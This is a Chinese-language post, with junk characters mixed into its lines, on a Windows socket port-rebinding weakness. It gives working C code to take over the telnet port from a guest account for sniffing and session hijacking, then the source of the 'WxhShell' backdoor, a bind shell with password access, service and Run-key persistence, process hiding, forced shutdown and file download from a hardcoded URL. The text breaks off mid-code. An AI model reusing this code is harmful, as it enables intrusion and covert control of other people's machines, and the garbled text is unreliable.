在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c)B
<d# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
25wvB@0& -?Kd[Ma saddr.sin_family = AF_INET;
o)r%4YOL x4^*YZc$, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qtYVX:M@,
B +<i=w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=OR"Bd:O
Dxp.b$0t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>m'n#=yap s.j6"
Q[W 这意味着什么?意味着可以进行如下的攻击:
ywkyxt %XiF7<A& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/Ps5Og RQQ\y`h` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hreG5g9{ mh"9V5T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sRaTRL2 t^5xq8w8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;oGpB#[zO ^6i,PRScS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wG}Rh, Q=n2frW(T 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Lxqv K1_#Jhz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Kk|4 gBd@4{y6C. #include
dO!5` ] #include
gq~6jf> #include
7I;A5f #include
eccJt DWORD WINAPI ClientThread(LPVOID lpParam);
F$nc9x[S int main()
@0&KM|+ {
Ro:)N:C WORD wVersionRequested;
vH)V\V DWORD ret;
`Ti?hQm/ WSADATA wsaData;
y@2$sK3K BOOL val;
=QJI_veUG` SOCKADDR_IN saddr;
/?_5!3K J SOCKADDR_IN scaddr;
bv9nDNPD4 int err;
JSu+/rI1 SOCKET s;
z(
^
r SOCKET sc;
4B$|UG int caddsize;
!63]t?QXMG HANDLE mt;
owKOH{otf DWORD tid;
+LB2V3UZ wVersionRequested = MAKEWORD( 2, 2 );
zya2 O?s err = WSAStartup( wVersionRequested, &wsaData );
-4LckY=]1 if ( err != 0 ) {
Gz kvj:(V printf("error!WSAStartup failed!\n");
cTu"Tu\Qw return -1;
wNQhg }
2e|m3 saddr.sin_family = AF_INET;
r31)Ed$ 7 DW_G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y
wu
> k :`<ME/"YE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ck\TTNA saddr.sin_port = htons(23);
`g^b Qx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-APbN(Vi {
0.z\YTZ9 printf("error!socket failed!\n");
A|
s\5"?? return -1;
;nbbKQ]u }
;Yu|LaI\<m val = TRUE;
,ocAB;K //SO_REUSEADDR选项就是可以实现端口重绑定的
"fOxS\er if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1^AG/w {
B*&HQW *u printf("error!setsockopt failed!\n");
ihBIE return -1;
RZbiiMC> }
*RJiHcII //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#iVr @|, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ePscSMx& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kAnK1W> .~7:o.BE`n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qLa6c2o, {
yP0XA=,Y ret=GetLastError();
2f0qfF printf("error!bind failed!\n");
HJ0Rcw% return -1;
a2SXg A }
:]uz0s`> listen(s,2);
PS'SI X while(1)
-W.bOr {
Wo+^R%K'4 caddsize = sizeof(scaddr);
LtVIvZie //接受连接请求
)JXy>q# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~=k?ea/> if(sc!=INVALID_SOCKET)
q"$C)o {
J L!:`#\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(g3@3.Kk) if(mt==NULL)
`L7Cf&W\l8 {
|{9&!=/qf printf("Thread Creat Failed!\n");
-s&7zqW break;
-h%1rw }
4gh`
> }
x9 i^_3Z CloseHandle(mt);
TxvvCV^
}
>B$J closesocket(s);
s7"5NU- WSACleanup();
Y[.f`Ei2 return 0;
|oX1J<LM }
o[B"J96b DWORD WINAPI ClientThread(LPVOID lpParam)
\%Lj !\ {
@YHt[>*S SOCKET ss = (SOCKET)lpParam;
Hd89./v`: SOCKET sc;
NEW0dF&) unsigned char buf[4096];
qx";G SOCKADDR_IN saddr;
t-?#x
long num;
w"
,ab j DWORD val;
p@[n(?duC. DWORD ret;
h{VdW}g //如果是隐藏端口应用的话,可以在此处加一些判断
K8 Hj)$E61 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#8r1<`']! saddr.sin_family = AF_INET;
pIl[)%F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]6@6g>f? saddr.sin_port = htons(23);
a3c43!J?M if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gVI T6"/ {
^a?g~G printf("error!socket failed!\n");
e`bP=7`0 return -1;
7g-{<d }
;YYnIb( val = 100;
L|Bjw3K&D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w-P;E!gTt {
y,Z2`Zmu ret = GetLastError();
("P]bU+'> return -1;
3T~DeqAyw }
c!]Q0ib6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>6Ody<JPHP {
(CrP6]= ret = GetLastError();
m;{(U Z return -1;
#Q$e%VJ(c1 }
C=8IQl[^e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`*y%[J,I# {
[
@9a printf("error!socket connect failed!\n");
@BMuov closesocket(sc);
& {=}U closesocket(ss);
[7h/ 2La# return -1;
/>2zKF? }
to(lE2`.da while(1)
hr`,s!0Y {
KskPFXxP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dZuPR //如果是嗅探内容的话,可以再此处进行内容分析和记录
~WKWx.ul //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hp$1c num = recv(ss,buf,4096,0);
p
Cgm!t?/ if(num>0)
ZDx1v_xr send(sc,buf,num,0);
g5lK&-yu] else if(num==0)
l._g[qa break;
=4
NKXP~C num = recv(sc,buf,4096,0);
BMItHn]. if(num>0)
<z8z\4Hz send(ss,buf,num,0);
cv-;fd>' else if(num==0)
mNKcaM?h break;
aEn*vun }
EAV6qW\r5] closesocket(ss);
+Ou<-EQV closesocket(sc);
O:Wd
,3_ return 0 ;
p<c1$O* }
J+l#!gk$! &Xh=bM'/%m lw_@(E]E ==========================================================
aj]pN,g@N z?W kHQ9 下边附上一个代码,,WXhSHELL
%J+k.UrM 8^!ib/@v" ==========================================================
V\=%u<f py$i{v% #include "stdafx.h"
emI F{oP ubQr[/ #include <stdio.h>
EOXuc9>G #include <string.h>
[~ !9t9+~ #include <windows.h>
W4"1H0s`l #include <winsock2.h>
J3hhh(
#include <winsvc.h>
??z&w`Yy, #include <urlmon.h>
]0=THq\H CEJqo8ds #pragma comment (lib, "Ws2_32.lib")
F%$lcQ04% #pragma comment (lib, "urlmon.lib")
F`CDv5 `l #define MAX_USER 100 // 最大客户端连接数
dQ
Lo,S8( #define BUF_SOCK 200 // sock buffer
>N"=10 #define KEY_BUFF 255 // 输入 buffer
)3^#CD d(^3S>V|q #define REBOOT 0 // 重启
~h$
H@&5 #define SHUTDOWN 1 // 关机
.F3~eas VVqpzDoXG #define DEF_PORT 5000 // 监听端口
(@Eb+8Zd 6kO+E5;X #define REG_LEN 16 // 注册表键长度
wlpcuz@ #define SVC_LEN 80 // NT服务名长度
0s6eF+bs /4$ c-k // 从dll定义API
1w#vy1m J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y4N)yMSl" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M$e$%kPShE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#M<u^$Jz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!}q@O-}j AmK g;9LS // wxhshell配置信息
k#G+<7c< struct WSCFG {
*~^%s+b int ws_port; // 监听端口
5")BCA char ws_passstr[REG_LEN]; // 口令
vy5I#q(k int ws_autoins; // 安装标记, 1=yes 0=no
:3D[~-/S char ws_regname[REG_LEN]; // 注册表键名
^_/gM[H. char ws_svcname[REG_LEN]; // 服务名
@%!Gj{ char ws_svcdisp[SVC_LEN]; // 服务显示名
Y#FSU#a$< char ws_svcdesc[SVC_LEN]; // 服务描述信息
z8
K#G%,: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vH@$?b3VP int ws_downexe; // 下载执行标记, 1=yes 0=no
5uU{!JuSa char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E//*bmww char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=z'533C m Gx{Vpt };
$x2G/5? mxICQ>s
b // default Wxhshell configuration
1-PFM- struct WSCFG wscfg={DEF_PORT,
W=4|ahk$ "xuhuanlingzhe",
Lbu,VX 1,
Vk%W4P"l "Wxhshell",
!'-./LD") "Wxhshell",
H%;pPkIi "WxhShell Service",
Tj=@5lj0 "Wrsky Windows CmdShell Service",
PMe 3Or@ "Please Input Your Password: ",
=cxG4R1x 1,
Vu,:rPqI "
http://www.wrsky.com/wxhshell.exe",
:AyZe7:(D "Wxhshell.exe"
<Ys7`e6eY };
cq9d;~q a KIS%M#Y // 消息定义模块
4|NcWpaV7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0$|wj^?U char *msg_ws_prompt="\n\r? for help\n\r#>";
Pz-=Eq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#!4`t]E<
char *msg_ws_ext="\n\rExit.";
Mm%b8#Fe! char *msg_ws_end="\n\rQuit.";
=6BI[_0 char *msg_ws_boot="\n\rReboot...";
_#w5hXcu char *msg_ws_poff="\n\rShutdown...";
a]4|XJ_ char *msg_ws_down="\n\rSave to ";
j2 jUrl Nrc-@ ] char *msg_ws_err="\n\rErr!";
>Vb V<ak char *msg_ws_ok="\n\rOK!";
ihIRB9 \{1Vjo char ExeFile[MAX_PATH];
xt8@l
[Z
int nUser = 0;
9\i^.2& HANDLE handles[MAX_USER];
kp*BAQ int OsIsNt;
H}lbF0` +'UxO'v3] SERVICE_STATUS serviceStatus;
t_Ul;HVPS SERVICE_STATUS_HANDLE hServiceStatusHandle;
\p\rPfY{> dq3"L!0u // 函数声明
%Gm4,+8P3o int Install(void);
WiFZY*iu5 int Uninstall(void);
h|ja67VG int DownloadFile(char *sURL, SOCKET wsh);
@@|H8mP}H int Boot(int flag);
kaV Ye)~ void HideProc(void);
HK<oNr.d52 int GetOsVer(void);
hYh~[Kr^@^ int Wxhshell(SOCKET wsl);
B9oB5E void TalkWithClient(void *cs);
>Yfo $S_ int CmdShell(SOCKET sock);
[bd?$qi int StartFromService(void);
b<KKF ' int StartWxhshell(LPSTR lpCmdLine);
rH[Eh8j, A{Q~@1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F-Ywl) VOID WINAPI NTServiceHandler( DWORD fdwControl );
CxVrnb[`q T7Yg^ -" // 数据结构和表定义
E5$uvxCI SERVICE_TABLE_ENTRY DispatchTable[] =
;MjOs&1f0K {
<@=w4\5j9 {wscfg.ws_svcname, NTServiceMain},
x2+M0 }g {NULL, NULL}
_2WIi/6K };
M:w]g` LKl kYkck]| // 自我安装
u!cA_, int Install(void)
[?#-JIZ3T {
p fg>H char svExeFile[MAX_PATH];
6
i]B8Ziq{ HKEY key;
#^q@ra strcpy(svExeFile,ExeFile);
b!g8NG I)4NCjcCw // 如果是win9x系统,修改注册表设为自启动
[Kd"M[1[< if(!OsIsNt) {
Zy >W2(< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a4N8zDS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R= *vPS RegCloseKey(key);
m`/!7wQs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[
]=}0l<J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U&y?3 RegCloseKey(key);
8wA'a'V. return 0;
sg,9{R ^ }
2graLJ?9Z }
9_pOV%Qs }
~ph>?xuw else {
|C;*GeyS;J V$ac}A,! // 如果是NT以上系统,安装为系统服务
|HK/*B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l
#
F.S5i if (schSCManager!=0)
GK:pt8= {
[T#9#3 SC_HANDLE schService = CreateService
NGb\e5? (
_xU2C<)1& schSCManager,
WG3 .qLH% wscfg.ws_svcname,
g
[+_T{ wscfg.ws_svcdisp,
!6d`e"\K SERVICE_ALL_ACCESS,
z@J;sz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Cg&cz]*q| SERVICE_AUTO_START,
-44''w?z SERVICE_ERROR_NORMAL,
!u|s|6{\ svExeFile,
Sc&p*G NULL,
`<d{(9:+ NULL,
6w^Fee`>] NULL,
gNzamorv[ NULL,
\+sP<'~M NULL
:KJZo,\ );
N^K@$bs4^ if (schService!=0)
Hsz).u {
'}
LAZQ" CloseServiceHandle(schService);
!Ql&Ls CloseServiceHandle(schSCManager);
z c,Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6B>H75S+H strcat(svExeFile,wscfg.ws_svcname);
/h73'"SpDy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Iw) 'Yyg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qluaop RegCloseKey(key);
HCKj8-* return 0;
Oe}6jcb6& }
bn<} }
{V~Gr CloseServiceHandle(schSCManager);
5R7DD 5c[ }
S`GM#( t@_ }
*Ldno`1O C8.MoFfhe return 1;
=qVD"Z]z }
?]u=5gqUU {H%1sI // 自我卸载
0CRk&_ht int Uninstall(void)
~b.e9FhdA {
S4BU ! HKEY key;
w@ =U f7 Og~3eL[1%C if(!OsIsNt) {
T)PH8 " if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t@\op}Z-M RegDeleteValue(key,wscfg.ws_regname);
%{M&"M v RegCloseKey(key);
:0RfA% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U49
`!~b7 RegDeleteValue(key,wscfg.ws_regname);
+cnBEv~y RegCloseKey(key);
RP4P"m( return 0;
lGtTZcg }
" )_-L8 }
[boB4>. }
kI>PaZ`i) else {
p/!P kKJ (}LLk+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5Mq7l$]h$ if (schSCManager!=0)
zwJVi9sO {
x>=8~wIK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gnN"pa!&~ if (schService!=0)
s4{WPU9 {
_lj&}>l if(DeleteService(schService)!=0) {
:Pf2oQ CloseServiceHandle(schService);
&*wc` U CloseServiceHandle(schSCManager);
Da"GYEC return 0;
+_LWN8F }
W{v-(pW CloseServiceHandle(schService);
A[O' e }
Z,jK(7D(
CloseServiceHandle(schSCManager);
nJ-U* yz }
ESAFsJ$r;
}
s5'So@L8 e[a?5,s2 return 1;
:F`yAB3 }
-<tfbaA N^{+1u7 // 从指定url下载文件
,HLgb}~ int DownloadFile(char *sURL, SOCKET wsh)
_YgvLz
% {
Fb{kql= HRESULT hr;
E|fQbkfw char seps[]= "/";
oCftI':@ char *token;
o|BEY3| char *file;
To"J>:l char myURL[MAX_PATH];
ir ^XZVR char myFILE[MAX_PATH];
wNgS0{}&` *N#{~ strcpy(myURL,sURL);
k)l^;x- token=strtok(myURL,seps);
VU[4 W8f while(token!=NULL)
ry%Fs&V*> {
#n8jn# file=token;
Wa|lWIMK token=strtok(NULL,seps);
%"0g}tK6 }
)W& $FU4JK 1ZF>e`t8 GetCurrentDirectory(MAX_PATH,myFILE);
\.%GgTF strcat(myFILE, "\\");
Ce0YO~I strcat(myFILE, file);
*U=%W4?W send(wsh,myFILE,strlen(myFILE),0);
D,H v(6({ send(wsh,"...",3,0);
{b6$F[e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^1^muc[ if(hr==S_OK)
T1Q c?5K^ return 0;
+/E
yX= else
F};G& return 1;
=,-&h
V ]wQ#8}zO }
BL^8gtdn Z`)}1|~B // 系统电源模块
M[@=m[#a int Boot(int flag)
AGdFJ>/ {
,y57tY HANDLE hToken;
jw"]U jub TOKEN_PRIVILEGES tkp;
3 O)^Hq+9 nBA0LIb if(OsIsNt) {
#K3`$^0 s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>$yqx1=jW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
DVWqrK}q tkp.PrivilegeCount = 1;
*l[;g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_V`Gmy[]p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:nHa-N3 if(flag==REBOOT) {
}H4Z726 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Dr!g$,9 return 0;
?U`~,oI0 }
RN%*3{- else {
,' m<YTF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*"pf3x6 return 0;
#H@rb }
hZobFf }
G-)Q*p{i| else {
%;r0,lN|II if(flag==REBOOT) {
[0(+E2/:2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
tJQFhY return 0;
M;{btu^a }
c9eLNVM else {
kq
SpZoV0' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Nn_n@K return 0;
4{s3S2f= }
D# "ppa} }
Z7X_U`Q wewYlm5@ return 1;
VNmQ'EuV}2 }
5IPZ; !Cpy
)D( // win9x进程隐藏模块
x@ZxV*T^ void HideProc(void)
k yFq {
(0=e ,1 n vncak HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/@<&{_sybp if ( hKernel != NULL )
"0(H! }D {
Vu/{Hr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C#r1zr6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y|NANjEAfm FreeLibrary(hKernel);
s
9Y'MQo* }
7( &\)qf=n 5VU
5kiCt return;
E8Jy!8/X9T }
'V=i;2mB* .FarKW // 获取操作系统版本
tR,&|?0 int GetOsVer(void)
i7D)'4gkW {
<R TAO2 OSVERSIONINFO winfo;
@nuMl5C-` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
PE IUKlX GetVersionEx(&winfo);
ya<nD '%9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z)RJUmY3B return 1;
JFyw,p&xB else
{*Ag[HS0u return 0;
Gd:TM]rJ }
F.s*^}L[ ^ *{:;F@ // 客户端句柄模块
1gA9h-'w int Wxhshell(SOCKET wsl)
Qd %U(| {
w$X"E*~>8 SOCKET wsh;
DcO$&)Eb struct sockaddr_in client;
}-ly'4=l DWORD myID;
pQGlg[i2/ f(^? PGO while(nUser<MAX_USER)
4pin\ZS:C {
29xm66
int nSize=sizeof(client);
x.+ r.cAXH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tJ{3Z}K if(wsh==INVALID_SOCKET) return 1;
']N1OVw^vf -A?6)ggf. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xp!MA if(handles[nUser]==0)
56;^
NE4 closesocket(wsh);
:6
, `M, else
Z?Cl5o&lb nUser++;
1%v!8$ }
:7,j%ELic WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rjFIK`_w S~~G0GiW return 0;
"~1{|lj|) }
Y
,Iv<Hg \F$V m'f_ // 关闭 socket
r9nyEzk void CloseIt(SOCKET wsh)
v0D~zV"<y {
;i)NP X closesocket(wsh);
'F\@KE-d nUser--;
5Iql%~_x ExitThread(0);
K}vP0O} }
DLigpid "Je*70LG# // 客户端请求句柄
fEdp^oVg void TalkWithClient(void *cs)
eSqKXmH[m {
+b =X~>vZ eucacXiZ SOCKET wsh=(SOCKET)cs;
N(6Q`zs char pwd[SVC_LEN];
>1}RiOd3 char cmd[KEY_BUFF];
4"om;+\ char chr[1];
I%^Bl:M int i,j;
K1th>!JW' 6n|R<DO%\ while (nUser < MAX_USER) {
p;y\%i_ Y#VtZTcT if(wscfg.ws_passstr) {
eWN[EJI< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GOKca%DT= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,2|(UTv //ZeroMemory(pwd,KEY_BUFF);
Oc
Gg'R7 i=0;
mMNT.a while(i<SVC_LEN) {
~t>i+{JKE s=Cu-.~L // 设置超时
vKcZgIR fd_set FdRead;
IL]Js W struct timeval TimeOut;
#j+0jFu FD_ZERO(&FdRead);
qZV.~F+
FD_SET(wsh,&FdRead);
0^0Q0A TimeOut.tv_sec=8;
U#qs^f7R TimeOut.tv_usec=0;
TrYt(F{t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0r=KY@D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'l sG? !OCb^y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\CY_nn|&g pwd
=chr[0]; ujLz<5gKuO
if(chr[0]==0xd || chr[0]==0xa) { 7f$ hg8
pwd=0; 8wi2&j_
break; G~VukW<e
} \l_U+d,qq
i++; j(QK 0 "z
} %KkMWl&:
LX!MDZz
// 如果是非法用户,关闭 socket "f
Ni3<x]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S [$Os7
} 3pk=c-x
`W*b?e|H1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NwISf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i$z).S?1
^$D2fS
while(1) { Fk-}2_=vi
'm4v)w<y#
ZeroMemory(cmd,KEY_BUFF); JZUf-0q
!4/s|b9K
// 自动支持客户端 telnet标准 f\|R<3 L
j=0; F?!X<N{
while(j<KEY_BUFF) { 1.U9EuI
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1v?|n8
cmd[j]=chr[0]; x1O]@Z{d\
if(chr[0]==0xa || chr[0]==0xd) { (6Y.|u]bq
cmd[j]=0; EOn[!
break; Pf,lZU?f
} ]\.3<^
j++; >.76<fni
} smJ#.I6/L
O$K?2-
// 下载文件 L'@@ewA
if(strstr(cmd,"http://")) { C-TATH%f^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J ;|i6q q
if(DownloadFile(cmd,wsh)) s?,\aSsU@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `J26Y"]P
else /SvB
w>gQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQV%1f
} 'KU)]v
else {
{ch+G~oS
z~ f;5 xtI
switch(cmd[0]) { w vQ.9
@((Y[<
// 帮助 mC,: .d
case '?': { 2Sha&Z*CE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &x#3N=c#
break; q=J8SvSRl
} hgmo b"o
// 安装 u]uUm1Er
case 'i': { |/M^q{h&7s
if(Install()) A4mnm6Tf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mR1|8H!f
else EqjaD/6Y`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3m]8>1e1"
break; V-N`R-FSr
} "c2{n,
// 卸载 ]tnf<5x
case 'r': { h%[1V
if(Uninstall()) DQ{"6-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @krh <T6|
else Tg;1;XM%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GX@=b6#-
break; O~bJ<O=?
} 6$ \69
// 显示 wxhshell 所在路径 ^*@D%U
case 'p': { 4*Y`Pn@
char svExeFile[MAX_PATH]; 0%b!ARix
strcpy(svExeFile,"\n\r"); [Q:C\f]
strcat(svExeFile,ExeFile); jFwu&e[9;
send(wsh,svExeFile,strlen(svExeFile),0); tT`{xM
break; D3.$Vl,.
} G1?m}{D)
// 重启 Mf_urbp]
case 'b': { *vS)aRK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ts c2;I
if(Boot(REBOOT)) )"sJaHx<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G>?'b
else { 6jpfo'uB$
closesocket(wsh); +j!$88%Z{
ExitThread(0); $Ao
iH{f
} yM`QVO!;
break; ~z$+uK
} yq]/r=e!k
// 关机 .EXxNB]%Y&
case 'd': { "(NJ{J#A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <)4>"SN&^
if(Boot(SHUTDOWN)) *3s,~<''%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cz)/Bq
else { SYaL@54
closesocket(wsh); Nxr %xTD
ExitThread(0); {Hr
P;)
} 5y8ajae:
break; e00s*LdC
} 1_MaaA;ow"
// 获取shell ps&p|
case 's': { *;!p#qL
CmdShell(wsh); c[zaYcbl
closesocket(wsh); &$<7]a\dM
ExitThread(0); rd
hM#?
break; K=Y{iHn
} ~H\1dCW
// 退出 'j oE-{
case 'x': { {+@M!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /`H{n$
CloseIt(wsh); G}NT[
break; bQBYzvd
} yh{Wuz=T
// 离开 3+tr_psH
case 'q': { m`B.3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bG&vCH;}%
closesocket(wsh); c8}jO=/5+
WSACleanup(); E
As1
=
exit(1); A>Y!d9]ti
break; 0?/vcsO
} E*]%@6tH
} 2& ZoG%)
} ?I}0[+)V
Hr/3nq}.
// 提示信息 AiOz1Er
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 68YJ@(iS
} y>iot e~
} v3Xt<I=4y
C#@>osC
return; P%_PG%O2p
} -gR
}^D
e,I{+^P
// shell模块句柄 >X0c:pPu
int CmdShell(SOCKET sock) T*v@hbJ
{ (8d"G9R(
STARTUPINFO si; J]mq|vE
ZeroMemory(&si,sizeof(si)); /aX#j`PrH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |\] _u 3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vm4q1!!(
PROCESS_INFORMATION ProcessInfo; /Zm5fw9
char cmdline[]="cmd"; $,DX^I%!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0{zA6Xu
return 0; ,W:Bh$%
} K.I\E
^e4y:# Nu
// 自身启动模式 e,rCutA)
int StartFromService(void) QCVwslj,K
{ ;&?l1Vu
typedef struct ^iz2=}Q8
